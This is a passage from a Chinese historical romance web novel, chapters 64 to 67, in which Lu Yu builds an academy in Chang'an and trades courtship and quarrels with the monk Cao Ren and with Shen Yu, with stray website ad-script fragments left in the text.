{var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 带了一些茶叶,如今陆氏的茶叶已经和沈氏茶叶平起平坐了,皆是皇宫的贡茶。 陆显外出还未回来,陆萸因脚底的伤还未痊愈,所以也就没讲究坐姿,而是靠在三伏身上,这么随意摊开脚坐着,黄昏的太阳不热,带着金色照在回廊上,也照在她的小腿上,暖洋洋的。 曹壬养病不在这个院落,这里住的只有陆显和陆萸,她在情绪稳定下来后,也开始能理解三叔为何要隐瞒自己了,他估计是怕吓到她,亦不想她心生负担。 她就这样晒着太阳,品着茶,不时留意着院门口的动静,如果曹壬醒了,那里肯定会有人进来报信的。 不是她不想去看他,她其实每时每刻都想去守着他,低低唤他一声“君期”,可听三伏说他的两位师兄寸步不离的守在他床前,她就胆怯了。 她差点让他们的师弟失了性命,想来他们并不想见到她。 在太阳将要落尽时,陆萸终于看到阿桃出现在那道院门口。 她笑着小跑至陆萸跟前,行礼后,道:“慧悟法师醒了,师傅让奴唤女公子前去。” 闻言,陆萸顾不得脚底的伤痛,激动地爬了起来。 一旁的三伏见状,忙双手接住陆萸的手道:“女公子的脚还没好,不可自行前去。” 陆萸却摇摇头,道:“这几日养得差不多了,我能自己走。” 她必须自己走过去,这样才不会让曹壬担心而影响治疗。 三伏知很难劝动陆萸,无奈一叹,立即让太守府的侍女去寻一双大码步鞋让陆萸穿上。 陆萸心里想着要马上见到曹壬,所以哪怕脚底疼痛异常,她亦没有停下脚步,一步步向他走去。 曹壬的两个师兄确实不想陆萸去见师弟,奈何师弟醒来第一句话就是问陆萸,为了让师弟安心,他们才让阿桃去喊陆萸。 陆萸很快就到曹壬了院子了,可真要进他的屋子,她又有些近乡情怯。. 阿桃的师兄侯在门口,见到陆萸,行礼道:“陆小公子快些入内,慧悟法师不见你不可用药。” 陆萸颔首道谢后,深吸一口气,才走进里面。 屋内光线昏暗,充斥着一股药味,医官和曹壬的两个师兄皆在场。 陆萸向他们行过礼后,才走过去。 曹壬好像醒得不是很彻底,陆萸进来的时候没看到他睁眼,直至听到慧能低声在他耳畔道:“师弟,陆小公子来看你了。” 他才睁开眼看了过来,嘶哑着开口:“阿萸来了。” 短短的一句话,却让陆萸听了差点忍不住落泪,她曾经见过他病重在床的样子,那时候她以为那已经是他最差的状态了,如今才知,现在的他才是最差的时候。 才短短八日未见这张脸,如今竟已行若枯槁、面白如纸,双眸深陷眼窝中,哪怕瞳孔中依然清澈却让人看得忍不住想要落泪,而他的双手已经缠满纱布。 她走至离他一尺的距离,才停下脚步,眼中含泪笑道:“我已经痊愈了,君期也要加把劲才行。” “好,我听阿萸的”曹壬虚弱一笑。 闻言,慧能忙将药碗端起,用勺子给曹壬喂起了药。 陆萸就这么安静地在一旁看着慧能喂完了一整碗药,然后笑道:“你先安心养病,我明日再来看你。” 曹壬身体还是非常虚弱,这几日全靠极品药吊着命,他刚才执着的不肯用药,只是担心师兄弟们为了安抚他而欺骗他,他记得自己昏迷前是抱着她的,醒来发现不见她时,那样的恐惧无人可以理解。. 如今见到她完好无损,他才终于放下心来,只虚弱一笑:“好,都听你的。” 陆萸忍住想要牵起那双手细细查看伤口的冲动,笑着和他道别。 一旁的慧能看着二人间的互动,想起那日师弟紧紧抱着眼前的女郎,他一时间焦虑不已,纠结着要不要写信给师傅诉说自己的担忧。 曹壬看着陆萸的背影消失在门口,才终于再次睡了过去。 真好,她还活着,他终于靠自己的双手留住了她,以后,他不会再放手,若欺骗了佛祖的人真要入地狱,他也不会犹豫半分的。 他在心底做了一个决定,等鸡鸣寺的任务完成后,他要离开白马寺,届时,这世上不会再有慧悟法师,也不会再有南安王的嫡长子,他只想做她一个人的君期,只想做她身后的影子。 65. 第六十五章 长安 才走出曹壬的院子,陆萸就已经受不住脚底的疼痛,将半个身子都倚靠在了三伏身上。 三伏心疼道:“女公子何必逞强呢?您这样,又要更长时间才能恢复了。” “只有这样,君期才不会担心,你让阿桃再给我换药就是”见过曹壬后,陆萸心中欢喜,说话也轻快起来。 她脚底的水泡溃烂后和袜子严重粘连,当初为了脱下袜子,硬生生把脚底的皮都撕走了大半,上的药也是消炎生肌的药,今日一番折腾,还没长全的脚底又裂开了。 阿桃边上药,边自责道:“早知这样,奴就不来唤女公子前去了。” 陆萸笑道:“不怪阿桃,是我爱面子而已。” “奴只是笨,奴不傻,慧悟法师为了见您不肯用药,而您为了见他坚持下地走路,又岂会是为了面子”阿桃说着,已经红了眼眶。 她不知道陆萸和慧悟法师之间有什么过往,但只凭这样的互相牵挂,就已让她动容。 大魏民风很是开放,她的师姐们也和她讲过很多男女间两情相悦的故事,那些故事总能让她听后感动不已。 可没人和她讲过一个僧人和世家女间如此牵绊的情谊,隔着佛门清规,隔着世俗伦理的他们,如何才能如故事中那些男女一样,寻得一个完美的结果呢?想来是永远不可能了。 原来,哪怕是出身名门世家的女子,也会有无可奈何、身不由己的时候。 如此想着,她愈发难受起来,只是一个劲地低着头包扎起来。 “阿桃,你可还有其他名字?”陆萸看着仿佛就要哭出来的女孩,突然起了恻隐之心。 她是个敏感而善良的孩子呢,才从几个小小的细节,她就能共情别人,这样的孩子让陆萸忍不住想要了解更多。 “奴是孤儿,不记得家人,因师傅捡到奴的地方有一棵桃树,师傅就给奴取名阿桃”阿桃回。 她是个不幸的孩子,自幼被父母遗弃,却也是个幸运的孩子,被上山采药的医官捡到,医官给她取名阿桃,和医馆中的其他孩子一样,都没有姓氏,只有名字。 在这个时代,没有姓氏的人很多,名字被改来改去的人也很多,阿桃更幸运的地方,她不是任何世家的奴隶,只是因为被师傅特意交待过而次次在陆萸面前自称“奴”。 陆萸忍不住道:“你日后无需在我面前称奴。” 阿桃闻言,抬头看着陆萸傻笑着回:“您的好意奴心领了,可奴怕师傅会不高兴。” “我会和你师傅解释的,你不用担心”陆萸笑道。 阿桃笑道:“那我就不和您客气了。” “嗯,我会告诉你师傅,阿桃是我见过最聪明懂事的女孩”陆萸答。 阿桃听了,忍不住羞红了脸,不知道如何回答,只能低下头继续给陆萸包扎。 待阿桃走后,陆萸对三伏道:“总有一天,我要在大魏开设女子书院,让大魏所有进不去学堂的女子都能进女子书院读书习字。” 三伏闻之,心底深受震撼,从她被陆歆安排到陆萸慎边的那一日起,陆萸的所作所为一次又一次刷新了她的认知。 她也不是没有见过其他世家女,可没有哪名世家女如眼前的少主这般勤勉克制且自律。 当世家女们关注琴棋书画时,少主关注的是书院课程完成情况和期中期末考核试题的改进建议;当世家女关注各种节日聚会搭配什么首饰时,少主关注的是华彩阁的茶点促销推广方案如何更新;当世家女们忙着在聚会上吟诗作赋时,少主正在忙着整理第二年的新书印刷名录。 这样的勤勉,让她气血严重亏损,可即便如此,她亦没有打算放弃,她是女子,却做了很多男子才做的事,而她最终的心愿竟然是想让所有女子都能读书吗? 这样的愿望真是太大太深远了,古往今来,还未有人能够实现,倘若别人听了,或许只会说一句简直是天方夜谭。 可三伏在见识过陆萸的努力后,坚定地认为:那一天一定会到来,她激动开口:“奴婢相信少主能做到的。” 陆萸第二日没有去看曹壬,因为她脚底的伤势的确很严重,三伏担心留下病根,所以极力阻止她下地走路。 没办法,她让三伏找了一些纸,然后凭着记忆折了一只小狗和一只鹦鹉。 折好后,她让三伏送去给曹壬,顺便转告一句话:安心服药,长安再见。 曹壬收到折纸后,心底正遗憾不能见到陆萸,听了三伏转达的话,才笑道:“好的,我听阿萸的。” 就这样,二人在晋临住了十天后,才再次启程前往长安。 临行前,医官想让阿桃同行去长安,可陆萸不知道接下来还有什么危险等着自己,且阿桃想要学医术,不能中断学习,所以陆萸拒绝了。 她留了一枚玉佩给阿桃,让阿桃有机会的话就去建业找她,阿桃激动地收下了。 这次出行,除了一百名陆氏部曲,太守还送了五十名府卫一同护送慧悟法师。 因曹壬的身体还未完全康复,陆显给他配了一辆牛车,而陆萸则继续和陆显同乘。 好在去长安剩下的这段路上,除了遇到两波小打小闹的山匪,没有再遇到上次那样的围杀,他们是在十八天后的下午到达长安城的。 秋风生渭水,落叶满长安。 陆萸掀起车帘,看到城门上大大的长安二字,突然想起这句诗,深秋时节的长安想来和这诗一样吧。 长安曾是西汉的都城,虽东汉定都洛阳后,这里被冷落了,但这个城市的繁华程度并不亚于洛阳,陆氏在长安有绸缎铺子和茶叶铺子,也购置有私产别院。 茶叶、丝绸都是销往西域最多的商品,所以,世家和富户在长安城里置办一个宅院作为落脚点非常有必要,谢洐虽然大部分时间在江东,但也会抽时间在长安小住。 长安城的繁华和洛阳是不一样的,这里胡汉杂居,鳞次栉比的商铺其种类甚至远超洛阳,波斯舞女边表演边揽客、卖酒的胡姬推销酒也不忘了舞一曲,这是个包容性很强的城市。 长安城的集市分东西两市,和洛阳城不同的是,两个集市都在内城且只用一条华阳街分隔开,从北面的横门入城,就能顺着华阳街逛东西市,为方便行商,商户的宅子大多在西市以西的孝里或者东市以南的戚里。 戚里在西汉时期是皇室外戚居住的地方,东汉以后长安被冷落,皇室外戚都去了洛阳,这里就成了州牧府和世家大族的宅邸。 陆氏刚好就买在了戚里,门前的路右转过去不远的地方是谢氏府宅,再过去是吴兴沈氏。 经过一段时间的换药和休养,陆萸如今已能下地走路了,她下车后,和陆显一同守在门口等着慧能将曹壬从车中接下来。 曹壬一路上都喝着药,奈何风餐露宿的赶路,没办法熬制补气血的膳食,所以虽然命捡回来了,气色却依然很差。 陆显向白马寺一行人抱拳行礼,道:“慧悟法师身体未痊愈,几位法师可在陆宅小住些时日,再出发去鸡鸣寺。” 慧能也知道师弟没有痊愈,于是没有拒绝相邀,而是双手合十,道:“多谢陆施主仁厚,贫僧等就再叨扰些时日吧。” 陆显给白马寺的僧人让开身子,比了个请的手势,然后带着一行人进了陆宅。 曹壬走过身旁时,陆萸朝他微微一笑,用仅二人可闻的声音道:“好好用膳,明日再见。” 曹壬低声回:“好,我听阿萸的!” 因只是为了行商方便购置的府宅,所以陆宅的院落不是很多,只有一个三进的正院,和两侧的东西两个偏院,共五个院落而已。 陆显把白马寺一行人安排在了东院,而陆萸则去了西院。 终于到达长安了,临年关只有三个月,接下来还得日以继夜的赶工才能完成,陆萸打算这两日先好好休息,再开展接下来的工作。 长安的气候比洛阳要寒冷,如今才入深秋,就让陆萸感觉仿佛已经进入江东的冬天。 清晨起床时,呼出的气带出一圈薄雾,三伏忙给给陆萸换上了冬装。 穿戴好后,陆萸先是去正院向陆显问安,知道陆显今日要去雍州牧府,于是和他俩简单聊过后,她就去东院看曹壬了。 进东院时,武僧正在院中练棍法,而曹壬的两个师兄则正打坐修禅。 见到陆萸,他们齐齐向她双手合十行礼。 陆萸回礼,笑问:“我来是想问问几位法师对府上的膳食有没有什么建议?” 慧能忙行礼回:“膳食极好,贫僧等荣幸享之。” “那便好,不知慧悟法师可曾用过早膳?”陆萸边问着,边向里面走。 慧能犹豫了一下,还是引着陆萸进了内室。 曹壬已经用过特别熬制的药膳,因体力不济,只能靠坐在床头休息着。 见到陆萸,他笑道:“见你这穿着,我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 还以为不小心睡入了深冬。” “还能打趣我,看来恢复得不错呢”陆萸笑着回。 不知道是不是错觉,陆萸觉得二人经历过一番生死共患后,曹壬看她的眼神更大胆了,如今还有慧能在一旁呢,他竟然可以笑着打趣她,而且那视线一直在她身上不曾离开。 陆萸不着痕迹地转开视线,然后找了个不远的距离席地而坐后,才道:“药膳食用后如有不适,可随时让府上的厨子更换,今日三叔父去州牧府了,待他和州牧对接好开工时间,我就要去工地了。” “书院地址选好了吗?”曹壬问。 陆萸点点头:“在我们还没出发前,州牧李信就已去信和祖父商定好了,打算把书院地址选在明光宫东北边的位置。” 当年西汉灭亡,赤眉军烧毁了长安城的宫殿,后来东汉时期修复了建章宫、未央宫和长乐宫,明光宫却一直荒废着,被火烧过的地方,迷信的世家和富户都不愿意去沾那块地。 那块地就一直那么荒废着,如今想把书院建在那里,倒也不失为好地址,明光,也是个好名字。 “看来雍州牧很重视书院的建造”曹壬道。 “是呀,我原还担心被选去城外,若胡人突然作乱书院岂不是毁了,如今在内城,真是再好不过了”陆萸道。 “何时出发去工地?” “最迟后日,也有可能明日一早就出发,图纸是我设计的,有我在场讲解可以缩短工期。” “那你白日在工地,夜里回来吗?”曹壬问。 “不一定,年关将近,工期紧迫,他们可能要连夜施工,那样我最好是在一旁守着,以应对突发状况”陆萸答。 顿了一下,她接着道:“你安心在此休养,养好身体再出发也不迟,只是届时我可能无法回来送别。” “工期结束后,你就要随陆三郎回建业了吗?”曹壬心底不舍,问出声音很是低沉。 其实陆萸心中也有万般不舍,可慧能法师如今正像一根根柱子似的杵在一旁,很多话不方便说,于是笑道:“若是书院建成,我差人去鸡鸣寺通知你,你来看看可好?你还没见过星火书院的模样吧?” 曹壬闻之,笑答:“我会好好在此休养,你无需分心担忧我,照顾好自己要紧,我也会在鸡鸣寺静候佳音。” 他已经在心底默默做了决定,待长安的星火书院建成,他要亲自告诉她自己的打算。 慧能其实也很纠结,曾几次想要写信给净觉主持,却都忍住了,今日立在一旁,也只是为了让师弟避嫌,只是听见陆氏女郎要去建书院,一股敬佩之情从心底油然而生,那些纠结突然就都消失了。 她不是普通的女郎,所作的事也非普通女郎能做到,如此大气的女子,他如何能以小人之心度之?罢了,只要二人间无破坏佛门戒律的行为,他就睁只眼闭只眼吧。 思及此,他突然开口:“贫僧去看看药好了没有,女公子和师弟慢聊。” 陆萸有些惊讶于他突然的松懈,起身回礼:“法师先忙。” 待慧能离去,陆萸从敞开的房门看出去,看过还在打坐的师兄和练棍法的武僧,扭头对曹壬俏皮一笑,道:“那么多人守着你呢,我可不敢乱来。” 闻言,曹壬轻笑出声:“你就算乱来,我也是自愿的,他们无可奈何。” 之前那个奇怪的感觉又来了,陆萸有些狐疑的看着曹壬:“你是我认识的君期吗?我怎么感觉你被人掉包了?” “怎么?你不信我?” 曹壬假装受伤,一脸哀伤地叹道:“思绵绵而增慕,夜耿耿而不寐,阿萸,这一路我是这么过来的,你呢?” 陆萸原只是玩笑话,如今听他一番告白,越听越紧张,忙低声道:“我信你行了吧,你小点声,你师兄马上就要进来了。” 她边说着,边战战兢兢地看着门口,真生怕慧能突然站在门口,那可真不好找地方躲起来。 见状,曹壬忍不住轻笑出声,笑了好一阵,才道:“我不怕的,你以后也不用怕,我们是彼此的星光,又何惧世俗眼光?” 他说的认真,看她的眼神也那样认真,就那么安静的看着她,莫名让她跟着沉沦。 她不由自主的笑回:“好,以后我也不怕了,只要君期开心,我怎样都行。” 闻言,曹壬忍不住再次笑出声来,这样痴痴傻傻的阿萸,和当年的青团一样,看起来如此可口呢。 66. 第六十六章 夜宴 当天夜里,陆显回来后立马寻陆萸说了雍州牧的打算,李信竟然比陆氏叔侄还要迫切,要求叔侄俩明日一早就去工地准备开工。 既然答应了李信,叔侄俩也没有拖拉的必要,于是一番准备后,翌日清晨,二人都未来得及向白马寺僧人作别就出发了。 他们这一去,一直到曹壬养好身体出发去鸡鸣寺都没能回来。 天越来越冷,工人施工时候搅拌泥土的速度就会受到影响,好在今年长安城的冬日虽然寒冷,却没下过特别大的雪。 开工后,陆氏根据以往的建造经验,后勤保障有不间断的汤水供应给工人,渴了饿了立马补给。 陆萸除了和工匠讲解施工图纸,还要在一旁做好安全管理工作,一旦发现有人受伤或者生病的,立马就让医官给他们医治。 所有人参与建造的人都充满了干劲,哪怕天气越来越冷,大家的热情丝毫没有减少。 雍州牧李信自开工后隔三差五来工地视察,见过陆氏在建造书院时一系列有条不紊的管理方式,以及工人们热火朝天劳作的场景后,对江东陆氏打心底佩服,这才是百年世家呀。 比起江东陆氏,陇西李氏的发家史的确短了很多,这让他更加坚定了建星火书院的决心。 长安星火书院在大家一番齐心协力并夜以继日的劳作下完成了建造。 这次除了建造四栋教学楼外,还建了两栋宿舍楼,十座教师用的院子和一个大型食堂,可以算得上是一个很浩大的工程,该项工程几乎把明光宫的旧址用去了二分之一。 昔日荒凉阴森的明光宫旧址,如今摇身一变,变成了充满生机的星火书院,长安城的居民们在参观过后,也无不感叹,对星火书院的课堂也好奇起来。 世家富户都有自己的学堂,可更多的孩子只能在小私塾上学,更有甚者连学堂都去不起,如今建成了这么大的学堂,怎能不让他们心动呢? 书院才刚落成,还未正式开课,他们就已经期待着明年三月的开学日了。 听闻,按星火书院的惯例,开学第一课都是由旬维大师授课,届时一定要想办法让自家子弟来旁听才是。 房屋建成,后期装修工程陆氏叔侄就不参与了,而李信为表达对陆氏的谢意,特意选了东市最好的铺面给陆氏开星火书店用。 陆萸忙碌了两个多月,如今开书店的事就全权由三叔父去弄了,她正好可以抽空休息一下,顺便派人去鸡鸣寺通知曹壬。 曹壬收到消息时还有两日就是初一,初一那天鸡鸣寺有法会,他不能离开,所以和陆萸约定三日后再见。 陆萸倒也不急,如今陆三叔还要忙开书店的事,书店的事情忙完了,叔侄两才会赶回华亭。 这几天,她彻底放松下来了,除了偶尔写些书签,大部分时间都在处理信件。 今年华彩阁茶点的元旦礼盒销量依然可观,荆州和山阴星火书院都在忙期末考试的事,几个书店都是盈利状态,明年打算印刷的书籍名录陆歆已经让人整理出来,只需她确认后就可以让人准备初稿了。 一切都在往好的方向发展,陆萸美滋滋的看过信件后,笑着对三伏道:“离我的梦想好像又更近一步了,回华亭祭祖的时候,我要再和祖父要两个人供你使唤,不然你跟着我太累了。” 三伏心中感动,却只回:“您都不觉得累,奴婢又如何会觉得累呢?且您着男装行事,带太多人反而不方便。” 陆萸也觉得后面一大串人跟着影响效率,于是笑道:“那就要一个吧,银杏和木槿都已经有重要的事做,还是得有个专门负责起居的人才行。” 三日后,陆萸还未等来曹壬,反倒被雍州牧邀请去了庆功宴。 长安星火书院建成,为庆祝工程圆满结束,雍州牧邀请长安城中有头有脸的人物和陆氏叔侄一起参加夜宴。 陆显原想找个理由替陆萸推脱掉,毕竟这样的宴会都是大家互相吹捧然后吃吃喝喝罢了。 陆萸着男装坐在男子席面,难说会听到男子间相互打趣的污言,若是遇到有人酒醉胡言乱语,那就更是不堪入耳了。 奈何陆萸还没参加过这种宴会,很是好奇,于是再三保证乖乖听话后,陆三叔只能无奈带她一同赴宴。 陆萸在长安城一直是以男装露面,再加上今日穿的是深冬的男装,高大的毛领把脖子遮得严严实实地,大家就都当他是陆氏的小公子了。 刚入座没多久,李信对陆氏叔侄道:“今日还有一江东贵客要来,你们可以叙叙旧。” 正说着,只见沈玉在侍女的指引下施施然走了进来,他虽着冬装却依然身材高大颀长,白色的毛领斗篷更衬得他如仙人之姿。 席间有一官员看着沈玉感叹:“都言江东沈氏三郎风流倜傥,令无数女郎魂牵梦绕,如今见之,果真不凡!” 陆萸一脸惊讶地看着沈玉气定神闲的走进来,在身旁的食案前坐好,才回过神,问:“都快过年了,你怎么还在长安?” 这时候不是该赶回去祭祖吗?长安离吴兴可不近。 沈玉对那些探究、赞叹、欣赏的眼光都统统视而不见,只是慢条斯理地整理好长衫的下摆端坐好后,笑回:“今年不回去了,省得烦心。” 言毕,他端起酒杯向李信道:“墨生在此恭祝雍州牧的星火书院建成。” 在场的人听了,也齐齐端起酒杯说起了祝贺之词。 陆萸是小孩,自然不会给她准备酒杯,不过看她坐着无聊,李信让人把女眷席上的果酒带了一壶给她尝尝。 “这是最近长安流行的果酒,小公子可饮用”李信笑着道。 在场有一名官员听了,笑道:“既是男子,当学着品烈酒才是,饮果酒没劲。” 又有人想起哄,李信不悦地打断:“孩子还小,你们莫要吓到他才是,他可是书院的设计者,若整日沉迷于酒水,如何画得出那样的图纸?” 他这么一说,大家也就都不好拿陆萸打趣了,毕竟这样的年纪就能设计出那样的书院,确实不能喝得不省人事。 陆显笑着和大家客套了一番,大家的目光就都转向了席间跳舞的胡姬身上。 胡姬跳的舞就是好看,只是这么冷的天,他们穿得这样少,不知道会不会冷? 陆萸吃着菜喝着果酒,边默默欣赏着美人跳舞。 沈玉微微凑近她道:“真不知这样无聊的宴席你为何要来参加?” 陆萸莫名其妙地看着沈玉:“我是个孩子,自然是为了好吃的和好看的呀,你呢?既然无聊还来?” 沈玉见她一副没见过世面的样子,嫌弃道:“陆氏还能短了你吃的不成?再说这样的舞岂是你该看的?” 想不到这人还是个老古董?连旁边坐着的三叔父都没觉得不妥,他竟然还管起她来了? 陆萸不想理他,只自顾自的吃起点心,还不忘给自己又倒了一杯果酒。 沈玉道:“这果酒闻起来香甜,后劲却很大,饮多了也会醉的,它可不是华彩阁的饮品,你悠着点。” 陆萸却不甚在意,想当年图纸会审会议结束后,工程三方都要吃一顿,那时候她可是喝过白酒的,区区果酒至多和啤酒一样,她可不怕。 沈玉劝说再三无果后,只能叹息一声,默默退回到自己的食案前。 陆萸吃得开心,看到舞姬跳到精彩之处,还学在场的男子欢呼几声。 难怪那么多人都想爬上高位,有美食、美酒还有美女献舞的日子真是惬意无比呀。 陆萸一高兴,不知不觉就喝了好几杯,待舞姬在场中不停旋转的时候,她被转得头晕目眩。 沈玉见状,忙凑过去扶住将要倒下陆萸,然后对一旁的陆显道:“三叔父留下继续应酬,晚辈这就带阿萸回去休息了。” 陆氏和沈氏素来有交情,沈玉也常随陆萸唤陆显三叔父。 陆显也没想到侄女竟然喝个果酒也会醉,想到侄女和沈玉是好友,忙道:“那就有劳贤侄了。” 沈玉原本也不想留在这里和一堆虚伪的人虚与委蛇,于是主动和李信提出想要离。 陆显忙在一旁说着歉意的话,然后颇为为难又带着宠溺地开口:“两个侄儿快有一年未见,少年郎想去叙旧,我做长辈的不好阻拦呢。” 李信知道沈玉的性子,倒也没有强留二人,笑着让他们离开了。 看着沈玉带着陆萸离去,陆显不但不担心,反而在想,要是这两个晚辈能成,那也是一桩美事呀,至少比那个穿袈裟的强。 陆萸虽然有些头晕,酒品却很好,一路上没有大吵大闹,只是安静的配合沈玉上了马车。 待马车离开州牧府,沈玉一脸嫌弃道:“方才不听劝,如今真醉了吧?” 陆萸只觉得头有些晕,不认为自己是喝醉了,只怪那些舞姬旋转的次数太多了,让她看的头晕,于是不悦地开口:“你给我闭嘴。” 沈玉闻言,一脸匪夷所思:“好心送你回去,你竟然这般无礼?” 陆萸懒得理他,既然是好心,干嘛还嫌弃别人? 她平生最讨厌这样的人,原是好心,只是别人还未心生感激,他就一副长辈的口吻说教起来,换谁都烦。 沈玉不知陆萸心中所想,只当她是真醉极了已经回不了话,轻叹一声后,靠坐在她对面静息起来。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他最近也有一堆烦心事缠身,不想再和她计较。 三伏提心吊胆地坐在车门外,她看得出女公子喝醉了,可作为下人,她没资格坐车内,如今孤男寡女同坐车内,她真怕自家女公子吃亏。 毕竟酒醉之下被人轻薄了,女公子也未必知道,而且也没法找人说理。 马车行至陆宅门口时,沈玉刚出车门就看到了三伏还未来得及掩饰的表情。 他气道:“看来你主仆二人都是一个德行,好心当驴肝肺。” 陆萸虽有些醉了,脑子却没有完全混沌,听出沈玉的嘲讽之言,立马回道:“沈三公子既是在行善,嘴巴就不能说些好听的话吗?非要恶语相向把别人的感激之情都抹干净才罢休?” 三伏忙探身进去把陆萸扶了出来。 沈玉虽然嘴上说着:“谁稀罕一个酒鬼的感激之情?” 可下车后却没有袖手旁观,而是侯在马车下想要将陆萸接下来。 谁知,他的手才伸出去,身后一个声音突然道:“还请沈公子借过一下,让贫僧帮阿萸吧。” 几人寻声看去,这才看见立在阴影处的曹壬正一袭袈裟向他们走来。 沈玉还没回过神,曹壬已走至车旁,笑道:“阿萸饮酒了?” 陆萸头还晕乎乎的,见到曹壬,傻笑:“君期何时到的?怎么不进去里面?” “我一直在这里等你,等了很久。” 只是短短一句听起来带着些许埋怨的话,却让陆萸一时间自责得不知该如何回答,她明明已经让人给他留话了的。 曹壬不等她作答,伸出双手用力将她从车上接下来,然后打横抱在怀中向府内走去。 动作太快,陆萸被颠得更晕了,她忙拉紧曹壬胸前的衣襟道:“你轻些,我难受。” 闻言,曹壬脚下动作一顿,回:“抱歉,是我考虑不周了。” 再抬脚时,他的动作轻缓了许多。 沈玉被二人旁若无人的行为给惊呆了,这二人什么时候这么亲密了?他身上的袈裟还未褪去呢,怎么就当着外人行此之事? 他忙走上前对曹壬道:“慧悟法师此举不妥,还是让沈某来吧。” 曹壬脚步未停,只笑着回:“今日多谢沈公子送阿萸回来,只是接下来就不牢公子费心了,贫僧心无杂念一心替佛祖行善,又有何不妥?倒是沈公子,若阿萸清醒后知道欠了这份人情,反而会让她心生负担。” 心无杂念一心替佛祖行善?怎么被他一说,自己还成了以小人之心度君子之腹? 沈玉竟然不知,曾经看起来冷情冷性、少言少语的曹壬竟然也有说话如此犀利的时候。 他心中气不过,就不想见他二人好过,于是厚着脸皮跟着后面,道:“我答应了三叔父要将阿萸送回,肯定要见她安全睡下才会离去,谁知道会不会有人趁她醉酒行逾距之行。” 说完,他扭头看着三伏:“你是否也这样认为?” 一旁的三伏听二人一番唇枪舌剑,早已吓得大气都不敢出一口,如今只敢猛点头:“沈公子考虑得很对。” 沈玉得意的看了一眼曹壬,然后越过二人趾高气昂地走了进去。 曹壬却只当未见,低声问陆萸:“阿萸可还难受?” “下班了吗”陆萸答非所问。 “下班了,你可以休息了”曹壬答。 “明日不用加班吧?每次图纸会审都这么累,明日我要睡个懒觉”陆萸还当自己刚刚应酬完,迷迷糊糊的开口。 “不用加班,阿萸可以一觉睡到日晒三竿。” “早膳我想吃你煮的粥,就是那个银耳红枣羹。” “好,我明天一早给你煮。” 沈玉走在前面,将身后二人的对话悉数听入耳中,哪怕刚才因曹壬的话心生不悦,此时他也不得不承认,懂陆萸的人只有曹壬。 可惜呀,再懂对方又能如何呢? 这么一想,他又有些同情起二人了,于是放慢脚步扭头问曹壬:“你真会煮粥?” 他可不信堂堂南安王府嫡长子会煮粥。 “嗯,以前煮过几次”曹壬说得很小声,怕吵醒陆萸。 沈玉看了眼已经不省人事的陆萸,再次低声问:“你明日给她煮的粥,留点给我尝尝可好?” 曹壬没有立即回答,而是一直抱着陆萸进了西院,将陆萸轻轻放在床上,退出屋子,合上房门后,才回:“我要问过阿萸才行。” 沈玉气道:“你方才为何不答?” “我怕阿萸在醉梦中胡乱答应了你”曹壬一派云淡风轻的答。 沈玉再次被气到。 67. 第六十七章 白头雪 沈玉最终还是没有机会吃曹壬煮的红枣银耳羹,因为沈氏别院的管家来寻他,顺道说了刚刚收到一封从豫章郡送来的家书,他要赶回去看信和回信。 临走前,他还不忘膈应曹壬:“你说过的,只要阿萸同意,就给我留着,明日一早我可是要来分一杯羹的。” 曹壬见他一副孩子气的样子,反而没刚才那些心气了,笑回:“那贫僧就在这里恭候沈三郎大驾光临。” 他这一笑一答,反倒显得自己小肚鸡肠了,沈玉再次被气到,立即用力甩了甩广袖扭头就走了。 西院再次安静下来,曹壬看着灰蒙蒙的夜空,安静地守在门口。 见到三伏出来,他低声问:“阿萸喝过醒酒汤了吗?” 因要赴宴,陆宅的厨房在陆氏叔侄出发的时候就开始准备醒酒汤了。 三伏低声回:“女公子睡的沉,奴婢喊不醒。” 曹壬犹豫了一下,道:“让我进去试一下。” 见三伏犹豫,他解释道:“不喝醒酒汤就入睡的话,明日醒来容易头晕恶心。” 听他这么说,三伏便没有继续犹豫,而是比了个请的动作,然后带着曹壬入内了。 曹壬刚刚进来的匆忙,且沈玉在门口守着,也不好逗留太久,所以没来得及仔细看内里的陈设。 如今屋里点着两盏雁鱼銅灯,将不大的内室照的很亮。 他走至床前,看到只着中衣的陆萸,脚步一顿,他刚刚真没想到三伏的动作这么快。 三伏却低声催促道:“法师快些喊醒少主,不然呆会她睡得更沉被打扰会生气的。” 曹壬无奈,也顾不得那些讲究,走近床前俯下身在陆萸耳畔喊道:“阿萸醒醒。” 陆萸刚刚才沾上枕头就已经睡着了,如今梦里正吃着点心欣赏美女跳舞,听到曹壬的声音,想起二人约好去看新建的书院,不得不从梦境中醒来。 她闭着眼瓮声瓮气地问:“天亮了吗?” “天还没亮,我是来喂你喝醒酒汤的。” 陆萸听说天还没亮,瞌睡又来了,想转过身继续去梦里看美人跳舞。 可曹壬没由着她,而是直接伸手把她从床上扶起。 让她背靠在自己胸前坐好,他才接过三伏手中的碗,柔声道:“你先喝了这碗醒酒汤再睡。” 陆萸没醒透,却还是依言闭着眼低下头就着曹壬的手把醒酒汤都饮下了,没办法,他的声音真是太温柔了。 再次躺回床上,迷迷糊糊间看到曹壬似要起身离去,她伸手拉住他的衣袖道:“你把我梦里的美人吓跑了。” 曹壬有些无奈的俯下身,笑问:“所以,想让我赔你吗?” 摇摇头,陆萸道:“你靠近些。” 曹壬不知陆萸要做什么,却也乖乖地按她要求的将脸凑到她枕头旁,刚想问一声:“这么近够了吗?” 可话还未出口,一只柔软温暖的掌心抚在了他的脸上。 那掌心的温度瞬间蔓延了全身,他一时间不知该作出何种反应,就这样屏住呼吸安静地看着近在咫尺的那张脸,他只觉时间在这一刻好似都停止了。 陆萸却自顾自松开了拉袖子的手,然后双手捧住他的脸,边看边喃喃自语:“我的美人就在眼前呢。” 她说话时,口中醒酒汤的味道混合着果酒的香甜带着温热轻轻喷在他的脸上,让没有饮酒的他好似也要跟着醉了。 他低哑出声:“阿萸知道自己在做什么吗?” 陆萸双眼迷离地看着他,手指轻轻摩挲着他的脸,因饮酒而红晕的脸上此时梨涡荡漾,她用只有两人能听到的声音,软糯出声:“我在灯下看美人,看我的君期呀。” 一句“我的君期”让曹壬心跳骤然加快,脸上传来的柔软馨香让他差点忍不住想要伸手去摸那双如春花般绽放在她嘴角的梨涡。 